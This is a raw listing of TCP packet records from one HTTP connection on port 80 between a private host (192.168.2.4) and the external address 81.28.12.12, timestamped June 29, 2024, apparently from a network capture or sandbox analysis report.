Jun 29, 2024 08:05:19.294186115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294193983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294219017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294231892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294254065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294259071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294294119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294328928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294378996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294384003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294433117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294441938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294466972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294478893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294500113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294509888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294533968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294545889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294574022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294584990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294619083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294630051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294650078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294661999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294683933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294689894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294715881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294725895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294751883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294758081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294784069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294795990 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294816971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.294826031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.294858932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.319408894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319442987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319477081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319555044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319575071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.319588900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319622993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319653034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.319655895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319706917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319740057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319772959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.319773912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319823980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319859028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319891930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.319892883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319927931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319956064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.319982052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.319982052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.320338964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.326603889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326637030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326688051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326720953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326756001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326759100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.326791048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326823950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.326823950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.326843023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326875925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326880932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.326911926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326944113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326992989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.326993942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327028036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327059984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327092886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327095985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327142954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327178001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327210903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327217102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327244043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327284098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327303886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327336073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327369928 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327370882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327404022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327430964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327436924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327466011 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327470064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327501059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327503920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327537060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327586889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327594042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327641010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327641964 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327675104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327703953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327703953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327739954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327790976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327821016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327822924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327857018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327888966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327919960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327924967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327958107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.327987909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.327991009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328022957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328025103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328043938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328059912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328088999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328093052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328125954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328176022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328212023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328243971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328248024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328277111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328310966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328341007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328344107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328377962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328409910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328440905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328443050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328475952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328538895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328569889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328588963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328622103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328655005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328655005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328655005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328685999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328687906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328717947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328721046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328754902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328788042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328818083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328819990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328871965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328906059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328933001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.328938961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.328970909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.329004049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.329035044 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.329036951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.329068899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.329070091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.329102039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.329134941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.329138994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.329169035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.329329014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383148909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383244038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383292913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383361101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383394003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383409977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383444071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383497953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383506060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383532047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383558989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383598089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383630991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383630991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383683920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383714914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383714914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383749962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383784056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383816004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383835077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383867025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383898973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383918047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383950949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.383981943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.383985996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384018898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384054899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.384069920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384119987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384154081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384186029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384187937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.384222984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384257078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384287119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.384290934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384324074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384358883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384391069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.384392023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.384587049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.408886909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.408922911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.408973932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.408997059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.409007072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409035921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.409041882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409073114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.409090996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409125090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409157038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409187078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.409190893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409240007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409275055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409306049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.409307003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409344912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409374952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.409405947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.409411907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.411400080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.416229963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416260004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416290045 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.416311026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416340113 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.416344881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416377068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.416380882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416414022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416537046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416564941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.416619062 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416670084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416702986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416735888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416738987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.416786909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416821003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416852951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.416855097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416887999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416918039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.416946888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417018890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417052031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417083979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417084932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417135954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417167902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417169094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417202950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417244911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417277098 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417280912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417311907 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417346001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417376995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417378902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417412043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417445898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417478085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417479038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417507887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417548895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417579889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417603016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417654037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417669058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417704105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417706013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417706013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417736053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417752028 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417769909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417804003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417821884 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417856932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417905092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417937040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.417939901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.417973042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418006897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418039083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418039083 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418072939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418123007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418154001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418157101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418205976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418239117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418271065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418275118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418304920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418339014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418368101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418370962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418401957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418432951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418462992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418467045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418500900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418534040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418565035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418566942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418601036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418633938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418659925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418667078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418699980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418734074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418765068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418766022 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418797970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418832064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418864012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418864965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418898106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418930054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418961048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.418962955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.418997049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.419028997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.419060946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:19.419064999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:19.422341108 CEST	49731	80	192.168.2.4	81.28.12.12
